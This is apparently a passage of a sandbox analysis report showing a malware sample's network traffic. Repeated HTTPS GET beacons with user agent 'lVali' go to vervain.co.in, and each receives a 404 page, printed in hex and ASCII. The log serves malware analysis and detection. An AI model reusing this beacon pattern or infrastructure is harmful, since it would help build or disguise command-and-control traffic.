2022-08-05 13:09:13 UTC	30	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:13 UTC	31	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:13 UTC	31	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49802	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:14 UTC	31	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:14 UTC	31	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:14 UTC	32	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49803	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:16 UTC	32	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:16 UTC	32	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:16 UTC	33	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49804	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:20 UTC	33	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:20 UTC	33	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:20 UTC	34	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49805	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:21 UTC	34	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:22 UTC	34	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:22 UTC	35	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49806	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:23 UTC	35	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:23 UTC	35	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:23 UTC	36	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49807	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:24 UTC	36	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:24 UTC	36	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:24 UTC	37	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49808	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:25 UTC	37	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:26 UTC	37	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:26 UTC	38	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49759	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:26 UTC	3	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:26 UTC	4	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:26 UTC	4	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49809	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:26 UTC	38	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:27 UTC	38	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:27 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:27 UTC	38	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49810	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:28 UTC	39	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:28 UTC	39	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:28 UTC	39	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49811	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:29 UTC	40	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:29 UTC	40	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:29 UTC	40	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49814	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:30 UTC	41	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:31 UTC	41	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:31 UTC	41	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49815	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:31 UTC	42	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:32 UTC	42	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:32 UTC	42	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 